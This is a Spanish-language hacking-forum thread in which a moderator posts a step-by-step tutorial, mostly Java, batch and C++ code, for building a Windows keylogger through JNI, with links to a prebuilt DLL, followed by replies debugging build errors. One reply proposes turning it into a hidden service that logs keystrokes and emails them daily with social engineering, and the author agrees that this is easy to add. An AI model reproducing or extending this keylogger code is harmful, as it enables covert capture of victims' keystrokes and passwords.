elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 02:33  

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java (Moderadores: Debci, Leyer)
| | | |-+  [Tutorial] Keylogger en Java (JNI)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: [Tutorial] Keylogger en Java (JNI)  (Leído 12,293 veces)
Leyer
Moderador
***
Conectado Conectado

Mensajes: 773


[]


Ver Perfil WWW
[Tutorial] Keylogger en Java (JNI)
« en: 24 Noviembre 2009, 02:27 »

Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
http://www.mediafire.com/?wt30y33j4mg

jni.h
http://www.mediafire.com/?zngnmognn5h


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"

  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código
public class Keylogger extends Thread { 
private boolean   running=true;
private int       value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/

}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/

System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/

}
}
 
}
 

  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%
 
pause
echo.
exit

  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger


Tienes que tener algun JDK

  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.

Código
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
   #endif
   #undef Keylogger_MIN_PRIORITY
   #define Keylogger_MIN_PRIORITY 1L
   #undef Keylogger_NORM_PRIORITY
   #define Keylogger_NORM_PRIORITY 5L
   #undef Keylogger_MAX_PRIORITY
   #define Keylogger_MAX_PRIORITY 10L
   #undef Keylogger_DELAY
   #define Keylogger_DELAY 20L
   /** Class: Keylogger
    * Method:    get
    * Signature: ()I
    */

 
   JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
   #ifdef __cplusplus
   }
   #endif
   #endif
 
    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
 while(true){
       for(int c=8;c<=222;c++){
        if(GetAsyncKeyState(c)==-32767)
           return c;  
       }        
    Sleep(30);  
    }
}
 

Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}

Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.


« Última modificación: 4 Octubre 2010, 01:38 por LEYER » En línea

Blitzkrieg'


Desconectado Desconectado

Mensajes: 546


print('Hi there')


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #1 en: 24 Noviembre 2009, 02:39 »

Muy bueno el tutorial  ;D


En línea



Leyer
Moderador
***
Conectado Conectado

Mensajes: 773


[]


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #2 en: 24 Noviembre 2009, 04:17 »

 :) gracias Crapsalot

Saludos
« Última modificación: 29 Septiembre 2010, 05:22 por LEYER » En línea

cooljsh

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #3 en: 26 Marzo 2010, 15:12 »

olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)
En línea
cooljsh

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #4 en: 26 Marzo 2010, 15:47 »

estuve siguiendo tus pasos, y tuve problemas en el DevCpp  , cuando intento compilar para generar el DLL  no encuentra el jni.h     como hago para solucionar eso ???

En línea
cooljsh

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #5 en: 26 Marzo 2010, 16:01 »

ya lo solucione, tenia k llevar los .h  del jdk  U_U

pero la duda es como lo ejecuto ??  osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el  javah -jni ... sale que no encuentra la clase o algo por el estilo ....  haber si me das una mano

En línea
Leyer
Moderador
***
Conectado Conectado

Mensajes: 773


[]


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #6 en: 26 Marzo 2010, 20:06 »

olap, una consulta, para que tu keylogger sea mas "productivo" xD   no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo  :)  y con un poco de ingenieria social ... xD  . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U

lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ??  simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ???   alguien sabe ??   en lo personal me parece mas facil y transparente usar JNA ....   

de todas maneras se agradece el aporte  :)

Eso lo pense cuando lo estaba haciendo jaja de enviar al email pero eso algo simple de hacer ademas esa esta es la base, cada quien vera que es lo que quiere hacer ;)

-------------------------
Y por que no Use JNA, simple no domino Jna  :P, solamente he hecho una consola para linux en JNA y es mucho :xD

 -------------------------


ya lo solucione, tenia k llevar los .h  del jdk  U_U

pero la duda es como lo ejecuto ??  osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el  javah -jni ... sale que no encuentra la clase o algo por el estilo ....  haber si me das una mano




Tienes que especificas mas, y en que paso te has quedado
 
En línea

sapito169


Desconectado Desconectado

Mensajes: 396



Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #7 en: 29 Marzo 2010, 16:42 »

no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post  :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion  ::)
tengo el presentimiento de que este topic va a ser muyyyy largo  :xD
« Última modificación: 29 Marzo 2010, 16:48 por sapito169 » En línea

egyware


Desconectado Desconectado

Mensajes: 436


GameDeveloper


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #8 en: 29 Marzo 2010, 17:11 »

Y dale programando con DevCpp programa con Codeblocks
usar DevCpp es como usar el primer IE
bueno en fin
Buen tutorial men ;)
En línea

Leyer
Moderador
***
Conectado Conectado

Mensajes: 773


[]


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #9 en: 29 Marzo 2010, 20:43 »

He seguido este tutorial y no consigo saber como se hace el paso 2. Yo lo he intentado hacer de una manera lo más parecido posible:
1- Con el netbeans 6.8 he creado un nuevo proyecto y he compilado la clase keylogger.
2- En el segundo paso, como no sabía como se hacia, he copiado los archivos Keylogger.java y Keylogger.class (generados por el netbeans) a una carpeta vacia y en la consola de windows he puesto el siguiente comando: "javah Keylogger" para generar el archivo de cabecera "Keylogger.h".
3- Ese archivo de cabecera lo he renombrado a keylog.h, lo he copiado a la misma carpeta donde se generan los archivos del c++ y lo he importado al keylogger.cpp (sustituyendo el dll.h como se indica en el tutorial). He copiado el codigo del paso 4 tal cual viene y he compilado.
4- Una vez generado el archivo keylogger.dll, he copiado este archivo a las carpetas /src y /build/classes (donde están los archivos .java y .class respectivamente). Luego he creado una clase Main con su metodo main para ejecutar el keylogger.

He seguido esos pasos pero me da error al ejecutar el codigo java:
Exception in thread "main" java.lang.UnsatisfiedLinkError: no Keylogger in java.library.path
        at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1734)
        at java.lang.Runtime.loadLibrary0(Runtime.java:823)
        at java.lang.System.loadLibrary(System.java:1028)
        at Keylogger.<clinit>(Keylogger.java:6)
        at Main.main(Main.java:7)
Java Result: 1

Me da error en la siguiente linea:
System.loadLibrary ("Keylogger");  //Preparamos la carga de la DLL

He probado a renombrar "Keylogger" por "keylogger" y "keylogger.dll" pero me da el mismo error todo el rato. ¿Alguno sabe por qué puede ser?

1. La libreria tiene que estar fuera del src y bin, y asegurate de que el .java no este en ningun package
2. No se por que le da errores creo que mas facil explicado imposible :( yo le he probado cientos de veces y no tengo problemas con nada  :xD



no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post  :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion  ::)
tengo el presentimiento de que este topic va a ser muyyyy largo  :xD

Cierto hay problemas con algunas img, lo solucionare a penas instale vbox :xD

PD: egyware creo que tenemos que teminar lo que tenemos pendiente :¬¬ :xD
« Última modificación: 29 Marzo 2010, 21:22 por LEYER » En línea

highfredo

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #10 en: 28 Mayo 2010, 19:17 »

donde consigo el  -jni.h y el jni_md.h??
edit:
solucionado

____
aprobecho para poner otro inconveniente...

al ejecutarlo me dice que no tiene main, pero... ¿que tendria que poner en el main??

codigo del error si pongo un main
Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: keylog$Keylogger.get()C
   at keylog$Keylogger.get(Native Method)
   at keylog$Keylogger.run(keylog.java:33)

este es el main
Código:
    public static void main(String[] args) {

     
      Keylogger Hilo= new Keylogger();
     
      Hilo.start();
     
//y por aqui tu code

   }

« Última modificación: 28 Mayo 2010, 21:28 por highfredo » En línea
Leyer
Moderador
***
Conectado Conectado

Mensajes: 773


[]


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #11 en: 29 Mayo 2010, 05:13 »

En el main solo has de crear la instancia he iniciar con start(); y donde dices en el comentario que hay va el code haslo mejor separado, es decir el main aparte y el keylogger otra clase, o seguramente creaste mal la lib ya que te compila pero en si puede estar mal generada y no lo sabes ,asi que verifica que copiaste bien el code de la cabecera .h

Un Saludo.
En línea

highfredo

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #12 en: 29 Mayo 2010, 11:08 »

nada, que no va :(
salta el mismo error, y he vuelto a compilarlo todo desde 0

puede ser porque el eclipse no me deje trabajar con .java si no estan en packages??


En línea
Leyer
Moderador
***
Conectado Conectado

Mensajes: 773


[]


Ver Perfil WWW
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #13 en: 9 Junio 2010, 07:55 »

Copia el contenido del Keylogger.cpp nuevamente, es que le habia dejado una variables initilizadas.

Esta es la dll generada

Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.
« Última modificación: 29 Septiembre 2010, 05:19 por LEYER » En línea

danyelk_6u5

Desconectado Desconectado

Mensajes: 202


... en tiempo de crisis...


Ver Perfil
Re: [Tutorial] Keylogger en Java (JNI)
« Respuesta #14 en: 21 Junio 2010, 18:27 »

 :o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!
En línea
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Tutorial y video Perfect Keylogger
Análisis y Diseño de Malware
ozzmadark 5 1,135 Último mensaje 21 Abril 2006, 22:09
por BeLGaRioN
Tutorial Ardamax Keylogger
Análisis y Diseño de Malware
Nêmesis_ 3 2,571 Último mensaje 30 Julio 2006, 02:39
por Nêmesis_
Programar un keylogger en Java
Java
NeoXhk 9 10,826 Último mensaje 11 Noviembre 2009, 00:32
por Leyer
[Tutorial] Conseguir contraseñas a traves de keylogger « 1 2 3 4 5 »
Hacking Básico
txuben 71 39,119 Último mensaje 26 Agosto 2009, 20:23
por Jaixon Jax
Re:Ayuda [Tutorial] Conseguir contraseñas a traves de keylogger
Hacking Básico
milfuegos2 6 1,070 Último mensaje 13 Mayo 2008, 08:23
por folto
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines